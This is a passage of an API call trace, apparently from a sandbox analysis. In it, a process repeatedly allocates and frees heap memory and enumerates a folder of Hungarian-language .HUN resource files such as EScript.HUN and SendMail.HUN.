Flags=0x8, Size=0x80) returned 0x124c848 [0082.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aac8 [0082.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127dc00 [0082.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.059] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.HUN", cAlternateFileName="")) returned 1 [0082.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aae8 [0082.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127dd08 [0082.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.060] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.HUN", cAlternateFileName="")) returned 1 [0082.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ab08 [0082.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127de10 [0082.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.062] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.HUN", cAlternateFileName="")) returned 1 [0082.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ab28 [0082.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127df18 [0082.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.063] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.HUN", cAlternateFileName="")) returned 1 [0082.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ab48 [0082.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e020 [0082.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6c40) returned 0x1293f28 [0082.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a1678) returned 1 [0082.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.065] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.HUN", cAlternateFileName="")) returned 1 [0082.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ab68 [0082.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e128 [0082.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.066] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.HUN", cAlternateFileName="")) returned 1 [0082.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ab88 [0082.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e230 [0082.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.068] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.HUN", cAlternateFileName="")) returned 1 [0082.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aba8 [0082.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e338 [0082.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.069] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.HUN", cAlternateFileName="")) returned 1 [0082.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125abc8 [0082.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e440 [0082.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.071] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.HUN", cAlternateFileName="")) returned 1 [0082.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125abe8 [0082.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e548 [0082.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.072] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.HUN", cAlternateFileName="")) returned 1 [0082.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ac08 [0082.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e650 [0082.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.074] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.HUN", cAlternateFileName="")) returned 1 [0082.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ac28 [0082.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e758 [0082.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.075] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x151a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.HUN", cAlternateFileName="")) returned 1 [0082.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ac48 [0082.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e860 [0082.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.078] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.HUN", cAlternateFileName="")) returned 1 [0082.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ac68 [0082.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127e968 [0082.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.079] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.HUN", cAlternateFileName="")) returned 1 [0082.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ac88 [0082.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ea70 [0082.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.081] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.HUN", cAlternateFileName="")) returned 1 [0082.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aca8 [0082.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127eb78 [0082.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.082] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.HUN", cAlternateFileName="")) returned 1 [0082.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125acc8 [0082.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ec80 [0082.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.084] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.HUN", cAlternateFileName="")) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ace8 [0082.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ed88 [0082.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.085] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.085] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0082.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ad08 [0082.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ee90 [0082.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.086] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.HUN", cAlternateFileName="")) returned 1 [0082.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ad28 [0082.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ef98 [0082.088] RtlFreeHeap 